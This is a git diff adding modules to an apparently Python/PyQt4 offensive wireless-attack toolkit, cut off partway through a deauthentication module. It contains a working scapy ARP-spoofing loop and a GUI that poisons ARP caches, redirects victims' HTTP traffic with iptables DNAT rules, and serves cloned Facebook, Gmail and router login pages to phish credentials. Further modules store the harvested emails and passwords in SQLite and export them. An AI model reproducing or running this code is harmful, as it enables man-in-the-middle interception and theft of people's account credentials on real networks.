Adapter: ", self.get_placa) + self.form0.addRow(self.list_probe) + self.form0.addRow("Time Scan: ", self.time_scan) + self.form1 = QFormLayout() + self.form1.addRow(self.btn_scan) + self.Main.addLayout(self.form0) + self.Main.addLayout(self.form1) + + self.setLayout(self.Main) + def Pro_request(self): + self.time_control = None + if self.time_scan.currentText() == "10s": + self.time_control = 300 + elif self.time_scan.currentText() == "20s": + self.time_control = 400 + elif self.time_scan.currentText() == "30s": + self.time_control = 600 + if self.get_placa.currentText() == "": + QMessageBox.information(self, "Network Adapter", 'Network Adapter Not found try again.') + else: + if not geteuid() == 0: + QMessageBox.information(self, "Permission Denied", 'the tool must be run as root try again.') + else: + comando = "ifconfig" + proc = Popen(comando,stdout=PIPE, shell=True) + data = proc.communicate()[0] + if search("mon0", data): + sniff(iface=self.interface,prn=self.sniff_probe, count=self.time_control) + system("clear") + else: + system("airmon-ng start %s" %(self.get_placa.currentText())) + sniff(iface=self.interface,prn=self.sniff_probe, count=self.time_control) + system("clear") + + def sniff_probe(self,p): + if (p.haslayer(Dot11ProbeReq)): + mac_address=(p.addr2) + ssid=p[Dot11Elt].info + ssid=ssid.decode('utf-8','ignore') + if ssid == "": + ssid="null" + else: + print ("[:] Probe Request from %s for SSID '%s'" %(mac_address,ssid)) + self.probes.append("[:] Probe Request from %s for SSID '%s'" %(mac_address,ssid)) + self.list_probe.addItem("[:] Probe Request from %s for SSID '%s'" %(mac_address,ssid)) \ No newline at end of file diff --git a/Modules/Win-Explo/__init__.py b/Modules/Win-Explo/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/Modules/__init__.py b/Modules/__init__.py new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/Modules/__init__.py @@ -0,0 +1 @@ + diff --git a/Modules/arp_Attacker.py b/Modules/arp_Attacker.py new file mode 100755 index 0000000..e19a47f --- /dev/null +++ b/Modules/arp_Attacker.py @@ -0,0 +1,13 @@ +#coding: utf-8 +#!/usr/bin/env python +from scapy.all import * +import time +import sys +op=1 +victim=sys.argv[1] +gateway=sys.argv[2] +mac=sys.argv[3] +arp=ARP(op=op,psrc=gateway,pdst=victim,hwdst=mac) +while 1: + send(arp) + time.sleep(2) diff --git a/Modules/arps_Posion.py b/Modules/arps_Posion.py new file mode 100644 index 0000000..18b78e0 --- /dev/null +++ b/Modules/arps_Posion.py @@ -0,0 +1,626 @@ +from PyQt4.QtGui import * +from PyQt4.QtCore import * +from Core.Settings import frm_Settings +from Modules.networksdisc import frm_GetIP +from Modules.AttackUp_arp import frm_update_attack +from os import popen,chdir,getcwd,getuid,devnull +import fcntl, socket, struct +from scapy.all import * +import threading +from time import sleep +from re import compile +from urllib2 import urlopen,URLError +from nmap import PortScanner +from re import search +global config_getway +from multiprocessing import Process,Manager + +config_getway = None +class frm_Arp(QMainWindow): + def __init__(self, parent=None): + super(frm_Arp, self).__init__(parent) + self.form_widget = frm_Arp_Poison(self) + self.setCentralWidget(self.form_widget) + +class ScanIPlocal(QThread): + def __init__(self,parent=None): + QThread.__init__(self,parent) + self.result = '' + def run(self): + nm = PortScanner() + a=nm.scan(hosts=config_getway, arguments='-sU --script nbstat.nse -O -p137') + for k,v in a['scan'].iteritems(): + if str(v['status']['state']) == 'up': + try: + ip = str(v['addresses']['ipv4']) + hostname = str(v['hostscript'][0]["output"]).split(",")[0] + hostname = hostname.split(":")[1] + mac = str(v['hostscript'][0]["output"]).split(",")[2] + if search("",mac): + mac = "" + else: + mac = mac[13:32] + self.result = ip +"|"+mac.replace("\n","")+"|"+hostname.replace("\n","") + self.emit(SIGNAL("Activated( QString )"),self.result) + except : + pass + + +class frm_Arp_Poison(QWidget): + def __init__(self, parent=None): + super(frm_Arp_Poison, self).__init__(parent) + self.setWindowTitle("Arp Posion Attack ") + self.setWindowIcon(QIcon('rsc/icon.ico')) + self.Main = QVBoxLayout() + self.owd = getcwd() + self.control = False + self.local = self.get_geteway() + self.configure = frm_Settings() + self.loadtheme(self.configure.XmlThemeSelected()) + self.module_network = frm_GetIP() + self.data = {'IPaddress':[], 'Hostname':[], 'MacAddress':[]} + self.GUI() + + def loadtheme(self,theme): + if theme != "theme2": + sshFile=("Core/%s.css"%(theme)) + with open(sshFile,"r") as fh: + self.setStyleSheet(fh.read()) + else: + sshFile=("Core/%s.css"%(theme)) + with open(sshFile,"r") as fh: + self.setStyleSheet(fh.read()) + + def GUI(self): + self.form =QFormLayout() + + self.movie = QMovie("rsc/loading2.gif", QByteArray(), self) + size = self.movie.scaledSize() + self.setGeometry(200, 200, size.width(), size.height()) + self.movie_screen = QLabel() + self.movie_screen.setFixedHeight(200) + self.movie_screen.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding) + self.movie_screen.setAlignment(Qt.AlignCenter) + self.movie.setCacheMode(QMovie.CacheAll) + self.movie.setSpeed(100) + self.movie_screen.setMovie(self.movie) + self.movie_screen.setDisabled(False) + + self.movie.start() + self.tables = QTableWidget(5,3) + self.tables.setRowCount(100) + self.tables.setFixedHeight(200) + self.tables.setSelectionBehavior(QAbstractItemView.SelectRows) + self.tables.setEditTriggers(QAbstractItemView.NoEditTriggers) + self.tables.clicked.connect(self.list_clicked_scan) + self.tables.resizeColumnsToContents() + self.tables.resizeRowsToContents() + self.tables.horizontalHeader().resizeSection(1,120) + self.tables.horizontalHeader().resizeSection(0,145) + self.tables.horizontalHeader().resizeSection(2,158) + self.tables.verticalHeader().setVisible(False) + Headers = [] + for key in reversed(self.data.keys()): + Headers.append(key) + self.tables.setHorizontalHeaderLabels(Headers) + + self.txt_target = QLineEdit(self) + self.txt_gateway = QLineEdit(self) + self.txt_redirect = QLineEdit(self) + self.txt_mac = QLineEdit(self) + self.ip_range = QLineEdit(self) + self.txt_status = QLabel("") + self.txt_statusarp = QLabel("") + + self.scanner_OFF(False,"txt_status") + self.arp_status(False) + scan_range = self.configure.xmlSettings("scan","rangeIP",None,False) + self.ip_range.setText(scan_range) + + self.btn_start_scanner = QPushButton("Scan") + self.btn_stop_scanner = QPushButton("Stop") + self.btn_Attack_Posion = QPushButton("Start Attack") + self.btn_Stop_Posion = QPushButton("Stop Attack") + self.btn_server = QPushButton("Templates") + self.btn_capture = QPushButton("Get credentials") + self.btn_windows_update = QPushButton("Fake Update") + self.btn_server.setFixedHeight(22) + self.btn_stop_scanner.setFixedWidth(100) + self.btn_start_scanner.setFixedWidth(100) + self.btn_start_scanner.setFixedHeight(22) + self.btn_stop_scanner.setFixedHeight(22) + self.btn_windows_update.setFixedHeight(22) + + self.btn_server.setIcon(QIcon("rsc/page.png")) + self.btn_capture.setIcon(QIcon("rsc/password.png")) + + self.check_face = QCheckBox("Facebook") + self.check_gmail = QCheckBox("Gmail") + self.check_route = QCheckBox("Router WPA-2") + + + self.check_face.clicked.connect(self.check_options) + self.check_gmail.clicked.connect(self.check_options) + self.check_route.clicked.connect(self.check_options) + + self.btn_start_scanner.clicked.connect(self.check_geteway_scan) + self.btn_stop_scanner.clicked.connect(self.Stop_scan) + self.btn_Attack_Posion.clicked.connect(self.Start_Attack) + self.btn_Stop_Posion.clicked.connect(self.kill_attack) + self.btn_server.clicked.connect(self.show_template_dialog) + self.btn_capture.clicked.connect(self.show_frm_options) + self.btn_windows_update.clicked.connect(self.show_frm_fake) + + #icons + self.btn_start_scanner.setIcon(QIcon("rsc/network.png")) + self.btn_Attack_Posion.setIcon(QIcon("rsc/start.png")) + self.btn_Stop_Posion.setIcon(QIcon("rsc/Stop.png")) + self.btn_stop_scanner.setIcon(QIcon("rsc/network_off.png")) + + self.grid0 = QGridLayout() + self.grid0.addWidget(QLabel("Scanner:"),0,0) + self.grid0.addWidget(self.txt_status,0,1) + self.grid0.addWidget(QLabel("ArpPosion:"),0,2) + self.grid0.addWidget(self.txt_statusarp,0,3) + self.grid0.addWidget(self.btn_Attack_Posion,1,0) + self.grid0.addWidget(self.btn_Stop_Posion,1,3) + + # grid options + self.grid1 = QGridLayout() + self.grid1.addWidget(self.btn_start_scanner,0,0) + self.grid1.addWidget(self.btn_stop_scanner,0,1) + self.grid1.addWidget(self.btn_capture,0,2) + self.grid1.addWidget(self.btn_server,0,3) + + self.grid1.addWidget(self.check_face,1,0) + self.grid1.addWidget(self.check_gmail,1,1) + self.grid1.addWidget(self.check_route,1,2) + self.grid1.addWidget(self.btn_windows_update, 1,3) + + if self.local != None: + self.txt_gateway.setText(self.configure.xmlSettings("local1","gateway",None,False)) + self.txt_redirect.setText(self.configure.xmlSettings("local0","ipaddress",None,False)) + self.configure.xmlSettings("local1","gateway",self.local[0],False) + self.txt_mac.setText(self.getHwAddr(self.local[1])) + else: + self.configure.xmlSettings("local1","gateway","None",False) + self.configure.xmlSettings("local0","ipaddress","None",False) + + self.form0 = QGridLayout() + self.form0.addWidget(self.movie_screen,0,0) + self.form0.addWidget(self.tables,0,0) + self.form.addRow(self.form0) + self.form.addRow(self.grid1) + self.form.addRow("Target:", self.txt_target) + self.form.addRow("GateWay:", self.txt_gateway) + self.form.addRow("MAC address:", self.txt_mac) + self.form.addRow("Redirect IP:", self.txt_redirect) + self.form.addRow("IP ranger Scan:",self.ip_range) + self.form.addRow(self.grid0) + self.Main.addLayout(self.form) + self.setLayout(self.Main) + + def thread_scan_reveice(self,info_ip): + self.scanner_OFF(False,"txt_status") + self.movie_screen.setDisabled(False) + self.tables.setVisible(True) + data = info_ip.split("|") + Headers = [] + self.data['IPaddress'].append(data[0]) + self.data['MacAddress'].append(data[1]) + self.data['Hostname'].append(data[2]) + for n, key in enumerate(reversed(self.data.keys())): + Headers.append(key) + for m, item in enumerate(self.data[key]): + item = QTableWidgetItem(item) + item.setTextAlignment(Qt.AlignVCenter | Qt.AlignCenter) + self.tables.setItem(m, n, item) + Headers = [] + for key in reversed(self.data.keys()): + Headers.append(key) + self.tables.setHorizontalHeaderLabels(Headers) + + def show_frm_options(self): + option = True + self.h = frm_get_credentials() + if self.check_face.isChecked(): + self.h.radio_face.setChecked(True) + elif self.check_gmail.isChecked(): + self.h.radio_gmail.setChecked(True) + elif self.check_route.isChecked(): + self.h.radio_route.setChecked(True) + else: + option = False + QMessageBox.information(self, "Error checkbox not checked", "please, select the option correctly.") + if option: + self.h.setWindowTitle("Get credentials Templates") + self.h.show() + + + def show_frm_fake(self): + self.n = frm_update_attack() + self.n.setGeometry(QRect(100, 100, 450, 300)) + self.n.show() + + def show_template_dialog(self): + self.j = frm_template() + self.j.setWindowTitle("Templates Phishing Attack") + self.j.txt_redirect.setText(self.txt_redirect.text()) + self.j.show() + + def kill_attack(self): + popen("killall xterm") + self.arp_status(False) + self.conf_attack(False) + + @pyqtSlot(QModelIndex) + def check_options(self,index): + if self.check_face.isChecked(): + self.check_route.setChecked(False) + self.check_gmail.setChecked(False) + elif self.check_gmail.isChecked(): + self.check_face.setChecked(False) + self.check_route.setChecked(False) + else: + self.check_face.setChecked(False) + self.check_gmail.setChecked(False) + + def Start_Attack(self): + if (len(self.txt_target.text()) and len(self.txt_mac.text()) and len(self.txt_gateway.text())) == 0: + QMessageBox.information(self, 'Error Arp Attacker', "you need set the input correctly") + else: + self.thread_arp = threading.Thread(target=self.Attack_Posion,args=(self.txt_target.text(), + self.txt_gateway.text(),self.txt_mac.text(),)) + self.thread_arp.daemon = True + self.thread_arp.start() + + def conf_attack(self,bool_conf): + if bool_conf: + self.ip = self.configure.xmlSettings("local0","ipaddress",None,False) + if self.ip !="None": + iptables = ['iptables -t nat --flush','iptables --zero', + 'iptables -A FORWARD --in-interface '+self.local[1]+' -j ACCEPT', + 'iptables -t nat --append POSTROUTING --out-interface '+ self.local[1] +' -j MASQUERADE', + 'iptables -t nat -A PREROUTING -p tcp --dport 80 --jump DNAT --to-destination '+self.ip,] + for i in iptables: + popen(i) + + else: + nano = ["echo \"0\" > /proc/sys/net/ipv4/ip_forward","iptables --flush", "iptables --table nat --flush" ,\ + "iptables --delete-chain", "iptables --table nat --delete-chain"] + for delete in nano: + popen(delete) + + def Attack_Posion(self,target,gateway,mac): + chdir(self.owd) + if (len(target) and len(gateway)) and len(mac) != 0: + if len(self.txt_redirect.text()) != 0: + self.arp_status(True) + self.conf_attack(True) + n = (popen("""xterm -geometry 75x15-1+200 -T "ARP POSION Attack On %s" -e sudo python Modules/arp_Attacker.py %s %s %s """%(target, + target,gateway,mac)).read()) + "exit" + while n != None: + if n == "exit": + self.arp_status(False) + self.conf_attack(False) + break + else: + self.arp_status(False) + def check_geteway_scan(self): + threadscan_check = self.configure.xmlSettings("advanced","Function_scan",None,False) + self.tables.clear() + self.data = {'IPaddress':[], 'Hostname':[], 'MacAddress':[]} + if threadscan_check == "Nmap": + if self.txt_gateway != "": + self.movie_screen.setDisabled(True) + self.tables.setVisible(False) + global config_getway + config_getway = str(self.txt_gateway.text()) + get_ip = len(config_getway)-1 + config_getway = config_getway[:get_ip] + "0/24" + self.ThreadScanner = ScanIPlocal(self) + self.connect(self.ThreadScanner,SIGNAL("Activated ( QString ) "), self.thread_scan_reveice) + self.scanner_OFF(True,"txt_status") + self.ThreadScanner.start() + elif threadscan_check == "Ping": + if self.txt_gateway != "": + config = str(self.txt_gateway.text()) + self.scanner_OFF(True,"txt_status") + self.scanner_network(config) + else: + QMessageBox.information(self,"Error on select thread Scan","thread scan not selected.") + + def working(self,ip,lista): + with open(devnull, "wb") as limbo: + result=subprocess.Popen(["ping", "-c", "1", "-n", "-W", "1", ip], + stdout=limbo, stderr=limbo).wait() + if not result: + print("online",ip) + lista[ip] = ip + "|" + self.module_network.get_mac(ip) + else: + print ip,"offline" + + def scanner_network(self,gateway): + get_ip = len(gateway)-1 + gateway = gateway[:get_ip] + ranger = str(self.ip_range.text()).split("-") + self.control = True + jobs = [] + manager = Manager() + on_ips = manager.dict() + for n in xrange(int(ranger[0]),int(ranger[1])): + ip="%s{0}".format(n)%(gateway) + p = Process(target=self.working,args=(ip,on_ips)) + jobs.append(p) + p.start() + for i in jobs: i.join() + for i in on_ips.values(): + Headers = [] + n = i.split("|") + self.data['IPaddress'].append(n[0]) + self.data['MacAddress'].append(n[1]) + self.data['Hostname'].append("") + for n, key in enumerate(reversed(self.data.keys())): + Headers.append(key) + for m, item in enumerate(self.data[key]): + item = QTableWidgetItem(item) + item.setTextAlignment(Qt.AlignVCenter | Qt.AlignCenter) + self.tables.setItem(m, n, item) + self.scanner_OFF(False,"txt_status") + Headers = [] + for key in reversed(self.data.keys()): + Headers.append(key) + self.tables.setHorizontalHeaderLabels(Headers) + def Stop_scan(self): + self.control = False + self.ThreadScanner.deleteLater() + self.scanner_OFF(False,"txt_status") + Headers = [] + for key in reversed(self.data.keys()): + Headers.append(key) + self.tables.setHorizontalHeaderLabels(Headers) + self.tables.setVisible(True) + + def scanner_OFF(self,bool,wid): + if bool and wid == "txt_status": + self.txt_status.setText("[ ON ]") + self.txt_status.setStyleSheet("QLabel { color : green; }") + else: + self.txt_status.setText("[ OFF ]") + self.txt_status.setStyleSheet("QLabel { color : red; }") + popen("clear") + + def arp_status(self,bool): + if bool: + self.txt_statusarp.setText("[ ON ]") + self.txt_statusarp.setStyleSheet("QLabel { color : green; }") + else: + self.txt_statusarp.setText("[ OFF ]") + self.txt_statusarp.setStyleSheet("QLabel { color : red; }") + popen("clear") + + + + def get_geteway(self): + output = popen("route | grep default").read().split() + if output == []: + return None + return [output[1],output[7]] + + def getHwAddr(self,ifname): + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + info = fcntl.ioctl(s.fileno(), 0x8927, struct.pack('256s', ifname[:15])) + return ':'.join(['%02x' % ord(char) for char in info[18:24]]) + + @pyqtSlot(QModelIndex) + def list_clicked_scan(self, index): + item = self.tables.selectedItems() + if item != []: + self.txt_target.setText(item[0].text()) + else: + self.txt_target.clear() + +class frm_template(QDialog): + def __init__(self, parent = None): + super(frm_template, self).__init__(parent) + self.label = QLabel() + self.Main = QVBoxLayout(self) + self.setGeometry(0, 0, 254, 100) + self.center() + self.control = None + self.owd = getcwd() + self.config = frm_Settings() + self.loadtheme(self.config.XmlThemeSelected()) + self.gui_temp() + + def loadtheme(self,theme): + if theme != "theme2": + sshFile=("Core/%s.css"%(theme)) + with open(sshFile,"r") as fh: + self.setStyleSheet(fh.read()) + else: + sshFile=("Core/%s.css"%(theme)) + with open(sshFile,"r") as fh: + self.setStyleSheet(fh.read()) + + def center(self): + frameGm = self.frameGeometry() + centerPoint = QDesktopWidget().availableGeometry().center() + frameGm.moveCenter(centerPoint) + self.move(frameGm.topLeft()) + def gui_temp(self): + self.frm0 = QFormLayout(self) + self.check_face = QCheckBox("Facebook") + self.check_gmail = QCheckBox("Gmail") + self.check_route = QCheckBox("Router") + + # connect buton + self.check_face.clicked.connect(self.check_options) + self.check_gmail.clicked.connect(self.check_options) + self.check_route.clicked.connect(self.check_options) + + self.txt_redirect = QLineEdit(self) + self.btn_start_template = QPushButton("Start Server HTTP") + self.btn_start_template.clicked.connect(self.start_server) + + self.frm0.addRow(QLabel("IP Redirect:"),self.txt_redirect) + self.frm0.addRow(self.check_face) + self.frm0.addRow(self.check_gmail) + self.frm0.addRow(self.check_route) + self.frm0.addRow(self.btn_start_template) + + self.Main.addLayout(self.frm0) + self.setLayout(self.Main) + + def start_server(self): + if self.check_face.isChecked(): + url = 'http://facebook.com' + try: + sock = urlopen(url).read() + self.control = 1 + except URLError, e: + QMessageBox.information(self,"Error","Server not found, can't find the server at focebook. " + str(e)) + if self.control != None: + if not getuid() == 0: + QMessageBox.information(self, "Permission Denied", 'the Tool must be run as root try again.') + return None + elif self.check_gmail.isChecked(): + sock = None + try: + request = urlopen('http://accounts.google.com/Login?hl').read() + self.control = 1 + except URLError,e: + QMessageBox.information(self,"Error","Server not found, can't find the server at google. " + str(e)) + elif self.check_route.isChecked(): + sock = 1 + else: + sock = 3 + if self.control != None: + self.thread_page = threading.Thread(target=self.phishing_page,args=(sock,)) + self.thread_page.daemon = True + self.thread_page.start() + + def phishing_page(self,sock): + type_phishing = None + if sock != None and sock != 1: + path = "Modules/Phishing/Facebook/" + try: + chdir(path) + except OSError,e: + return None + pat = compile('
(.+?)') + sock_request = sock.replace("https://www.facebook.com/login.php?login_attempt=1", "login.php") + face_page= open("index.html", "w") + face_page.write(sock_request) + face_page.close() + type_phishing = "Facebook" + elif sock == 1 and sock != None: + path = "Modules/Phishing/Route/" + chdir(path) + type_phishing = "Route" + else: + path = "Modules/Phishing/Gmail/" + try: + chdir(path) + request = urlopen('http://accounts.google.com/Login?hl').read() + request = request.replace("//ssl.gstatic.com/accounts/ui/","") + request = request.replace("https://accounts.google.com/ServiceLoginAuth","login.php") + google_page = open("index.html", "w") + google_page.write(request) + google_page.close() + except OSError,e: + return None + type_phishing = "Gmail" + + ip = str(self.txt_redirect.text()) + popen("service apache2 stop") + if ip == None: + pass + sleep(5) + else: + n = (popen("""xterm -geometry 75x15-1+0 -T "Phishing %s" -e php -S %s:80"""%(type_phishing,ip))).read() + "exit" + chdir(self.owd) + while n != "dsa": + if n == "exit": + break + @pyqtSlot(QModelIndex) + def check_options(self,index): + if self.check_face.isChecked(): + self.check_route.setChecked(False) + self.check_gmail.setChecked(False) + elif self.check_gmail.isChecked(): + self.check_face.setChecked(False) + self.check_route.setChecked(False) + else: + self.check_face.setChecked(False) + self.check_gmail.setChecked(False) + +class frm_get_credentials(QDialog): + def __init__(self, parent = None): + super(frm_get_credentials, self).__init__(parent) + self.label = QLabel() + self.Main = QVBoxLayout(self) + self.setGeometry(0, 0, 450, 200) + self.center() + self.owd = getcwd() + sshFile="Core/dark_style.css" + with open(sshFile,"r") as fh: + self.setStyleSheet(fh.read()) + self.Qui() + def center(self): + frameGm = self.frameGeometry() + centerPoint = QDesktopWidget().availableGeometry().center() + frameGm.moveCenter(centerPoint) + self.move(frameGm.topLeft()) + + def get_password(self): + if self.radio_face.isChecked(): + self.list_password.clear() + logins = [] + chdir(self.owd) + log = open("Modules/Phishing/Facebook/log.txt", "r") + for i,j in enumerate(log.readlines()): + logins.append(i) + s = j.split("-") + self.list_password.addItem("Email: " +s[0] + " Password: " +s[1]) + elif self.radio_gmail.isChecked(): + self.list_password.clear() + logins = [] + chdir(self.owd) + log = open("Modules/Phishing/Gmail/log.txt", "r") + for i,j in enumerate(log.readlines()): + logins.append(i) + s = j.split("-") + self.list_password.addItem("Email: " +s[0] + " Password: " +s[1]) + elif self.radio_route.isChecked(): + self.list_password.clear() + logins = [] + chdir(self.owd) + log = open("Modules/Phishing/Route/log.txt", "r") + for i,j in enumerate(log.readlines()): + logins.append(i) + s = j.split("-") + self.list_password.addItem("IP: " +s[0] + " Password: " +s[1]) + def Qui(self): + self.frm0 = QFormLayout(self) + self.list_password = QListWidget(self) + self.list_password.setFixedHeight(200) + + self.btn_getdata = QPushButton("get data") + self.btn_getdata.clicked.connect(self.get_password) + self.btn_exit = QPushButton("Exit") + self.btn_exit.clicked.connect(self.deleteLater) + + self.radio_face = QRadioButton("Facebook") + self.radio_gmail = QRadioButton("Gmail") + self.radio_route = QRadioButton("Router") + self.grid_radio = QGridLayout(self) + self.grid_radio.addWidget(self.radio_face,0,0) + self.grid_radio.addWidget(self.radio_gmail,0,1) + self.grid_radio.addWidget(self.radio_route,0,2) + self.frm0.addRow(self.list_password) + self.frm0.addRow(self.grid_radio) + self.frm0.addRow(self.btn_getdata) + self.frm0.addRow(self.btn_exit) + self.Main.addLayout(self.frm0) + self.setLayout(self.Main) \ No newline at end of file diff --git a/Modules/connection.py b/Modules/connection.py new file mode 100644 index 0000000..27b2f6c --- /dev/null +++ b/Modules/connection.py @@ -0,0 +1,64 @@ +#coding utf-8 +import sys +reload(sys) +sys.setdefaultencoding("utf-8") +import sqlite3 +from time import gmtime, strftime +from os import getcwd +connect = sqlite3.connect(str(getcwd()) +"/Database/database.db") +connect.text_factory = str +c = connect.cursor() + +facebook = [] +gmail = [] +def create_tables(): + c.execute("CREATE TABLE IF NOT EXISTS Facebook (id integer PRIMARY KEY AUTOINCREMENT, email text, password text,datestamp text)") + c.execute("CREATE TABLE IF NOT EXISTS Gmail (id integer PRIMARY KEY AUTOINCREMENT, email text, password text,datestamp text)") + c.execute("CREATE TABLE IF NOT EXISTS Route (id integer PRIMARY KEY AUTOINCREMENT, ipaddress text,password text,datestamp text)") + connect.commit() + +def add_Face_db(email,password): + dataestamp = str(strftime("%a, %d %b %Y %X ", gmtime())) + c.execute("INSERT OR REPLACE INTO Facebook (email,password,datestamp) VALUES(?,?,?)",(email,password,dataestamp)) + connect.commit() + +def add_Route_db(Ip,password): + dataestamp = str(strftime("%a, %d %b %Y %X ", gmtime())) + c.execute("INSERT OR REPLACE INTO Route (ipaddress,password,datestamp) VALUES(?,?,?)",(Ip,password,dataestamp)) + connect.commit() + + +def add_gmail_db(email,password): + dataestamp = str(strftime("%a, %d %b %Y %X ", gmtime())) + c.execute("INSERT or ignore INTO Gmail (email,password,datestamp) VALUES(?,?,?)",(email,password,dataestamp)) + connect.commit() + +def delete_one(table,n): + if table == "Route": + cursor = c.execute("SELECT id,ipaddress,password,datestamp FROM %s where id= %d"%(table,int(n))) + for row in cursor: + z = (" DELETE: IP:%s Passowrd:%s Data:%s"%(row[1], row[2], row[3])) + else: + cursor = c.execute("SELECT id,email,password,datestamp FROM %s where id= %d"%(table,int(n))) + for row in cursor: + z = (" DELETE: IP:%s Passowrd:%s Data:%s"%(row[1], row[2], row[3])) + c.execute("DELETE FROM %s WHERE id= %d"%(table,int(n))) + connect.commit() + return z + +def get_data(service): + new = [] + if service == "Route": + cursor = c.execute("SELECT id,password,datestamp FROM %s"%(service)) + else: + cursor = c.execute("SELECT id,email,password,datestamp FROM %s"%(service)) + for row in cursor: + new += str(row[0]) + str(row[1]) + str(row[2]) + str(row[3]) + return new + +def delete_db_all(n,db): + for num in range(n): + c.execute("DELETE FROM %s WHERE id= %s"%(db,num)) + if db != None: + c.execute("UPDATE SQLITE_SEQUENCE set seq=0 WHERE name=\"%s\""%(db)) + connect.commit() diff --git a/Modules/database.py b/Modules/database.py new file mode 100644 index 0000000..9289b64 --- /dev/null +++ b/Modules/database.py @@ -0,0 +1,121 @@ +from PyQt4.QtGui import * +from PyQt4.QtCore import * +from Modules.connection import * +import sys +reload(sys) +sys.setdefaultencoding("utf-8") +class frm_datebase(QDialog): + def __init__(self, parent=None): + super(frm_datebase, self).__init__(parent) + self.setWindowTitle("DataBase Manager") + self.setWindowIcon(QIcon('rsc/icon.ico')) + sshFile="Core/dark_style.css" + with open(sshFile,"r") as fh: + self.setStyleSheet(fh.read()) + self.Main = QVBoxLayout() + self.control = None + create_tables() + self.GUI() + def GUI(self): + self.form = QFormLayout(self) + self.list_db = QListWidget(self) + self.grid = QGridLayout(self) + + self.rb_face = QRadioButton("Facebook") + self.rb_gmail = QRadioButton("Gmail") + self.rb_route = QRadioButton("Route") + self.btn_save = QPushButton("Export Credentials...") + self.input_delete = QLineEdit(self) + self.input_delete.setFixedWidth(300) + self.btn_delete = QPushButton("Delete") + self.btn_gettables = QPushButton("Show Data") + self.btn_exit = QPushButton("Close") + self.delete_all = QPushButton("Delete All") + self.btn_delete.clicked.connect(self.delete_db) + self.btn_gettables.clicked.connect(self.get_rows) + self.list_db.clicked.connect(self.list_clicked) + self.delete_all.clicked.connect(self.db_all) + self.btn_save.clicked.connect(self.save_fuc) + self.btn_exit.clicked.connect(self.close) + self.grid.addWidget(self.rb_face, 0,0) + self.grid.addWidget(self.rb_gmail, 0,1) + self.grid.addWidget(self.rb_route, 0,2) + self.grid.addWidget(self.btn_gettables, 1,0) + self.grid.addWidget(self.btn_save, 1,4) + self.grid.addWidget(self.btn_exit, 1,3) + + self.form.addRow(self.list_db) + self.form.addRow(self.input_delete,self.btn_delete) + self.form.addRow(self.delete_all) + self.form.addRow(self.grid) + self.Main.addLayout(self.form) + self.setLayout(self.Main) + + def db_all(self): + if self.rb_face.isChecked(): + delete_db_all(100, "Facebook") + self.input_delete.clear() + self.get_rows() + elif self.rb_gmail.isChecked(): + delete_db_all(100, "Gmail") + self.input_delete.clear() + self.get_rows() + elif self.rb_route.isChecked(): + delete_db_all(100, "Route") + self.input_delete.clear() + self.get_rows() + + def delete_db(self): + if len(self.input_delete.text()) > 0: + n = str(self.input_delete.text()) + n = n.split() + n = n[0] + if self.rb_face.isChecked(): + status = delete_one("Facebook",n[3:]) + QMessageBox.information(self, 'Facebook db Info', status) + self.get_rows() + self.input_delete.clear() + elif self.rb_gmail.isChecked(): + status = delete_one("Gmail",n[3:]) + QMessageBox.information(self, 'Gmail db Info', status) + self.get_rows() + self.input_delete.clear() + elif self.rb_route.isChecked(): + status = delete_one("Route",n[3:]) + QMessageBox.information(self, 'Route db Info', status) + self.get_rows() + self.input_delete.clear() + else: + QMessageBox.information(self,"Select db", "Please, select the row to delete db") + def get_rows(self): + self.list_db.clear() + if self.rb_face.isChecked(): + cursor = c.execute("SELECT id,email,password,datestamp FROM Facebook") + for row in cursor: + self.list_db.addItem("ID:" + str(row[0]) + " Email: " + str(row[1]) + " Password:" + str(row[2]) + " | " + str(row[3]) + "|") + elif self.rb_gmail.isChecked(): + cursor = c.execute("SELECT id,email,password,datestamp FROM Gmail") + for row in cursor: + self.list_db.addItem("ID:" + str(row[0]) + " Email: " + str(row[1]) + " Password:" + str(row[2]) + " | " + str(row[3]) + "|") + elif self.rb_route.isChecked(): + cursor = c.execute("SELECT id,ipaddress,password,datestamp FROM Route") + for row in cursor: + self.list_db.addItem("ID:" + str(row[0]) + " IPaddress: " + str(row[1] + "| Password:" + str(row[2]))) + + @pyqtSlot(QModelIndex) + def list_clicked(self, index): + itms = self.list_db.selectedIndexes() + for i in itms: + self.input_delete.setText(i.data().toString()) + + def save_fuc(self): + if self.list_db.count() > 0: + file = QFileDialog() + output= file.getSaveFileName(self, "Export database credentials...", "passwords.txt") + if len(output) > 0: + f_pass = open(output, "a") + for i in range(self.list_db.count()): + f_pass.write(str(self.list_db.item(i).text()+"\n")) + f_pass.write("------------------------------------------------------\n") + f_pass.close() + QMessageBox.information(self, "Expoted credentials", "Export database credentials with success...") diff --git a/Modules/deauth_func.py b/Modules/deauth_func.py new file mode 100644 index 0000000..a765b81 --- /dev/null +++ b/Modules/deauth_func.py @@ -0,0 +1,349 @@ +from PyQt4.QtGui import * +from PyQt4.QtCore import * +from subprocess import Popen,PIPE +from scapy.all import * +from Dns_Func import frm_dhcp_Attack +import threading +from os import popen,system,getuid,path,makedirs +from re import search,compile,match +from Core.Settings import frm_Settings +from Modules.fuc_airodump import airdump_start,get_network_scan +class frm_window(QMainWindow): + def __init__(self, parent=None): + super(frm_window, self).__init__(parent) + self.form_widget = frm_deauth(self) + self.setCentralWidget(self.form_widget) + self.setWindowTitle("Deauth Attack wireless Route") + self.setWindowIcon(QIcon('rsc/icon.ico')) + self.config = frm_Settings() + self.loadtheme(self.config.XmlThemeSelected()) + + def loadtheme(self,theme): + if theme != "theme2": + sshFile=("Core/%s.css"%(theme)) + with open(sshFile,"r") as fh: + self.setStyleSheet(fh.read()) + else: + sshFile=("Core/%s.css"%(theme)) + with open(sshFile,"r") as fh: + self.setStyleSheet(fh.read()) + + def closeEvent(self, event): + reply = QMessageBox.question(self, 'About Exit',"Are you sure to quit?", QMessageBox.Yes | + QMessageBox.No, QMessageBox.No) + if reply == QMessageBox.Yes: + event.accept() + if getuid() == 0: + system("airmon-ng stop mon0") + system("clear") + self.deleteLater() + else: + pass + else: + event.ignore() + +class frm_deauth(QWidget): + def __init__(self, parent=None): + super(frm_deauth, self).__init__(parent) + self.Main = QVBoxLayout() + self.interface = "mon0" + self.xmlcheck = frm_Settings() + self.ap_list = [] + self.pacote = [] + self.control = None + self.data = {'Bssid':[], 'Essid':[], 'Channel':[]} + self.window_qt() + + def 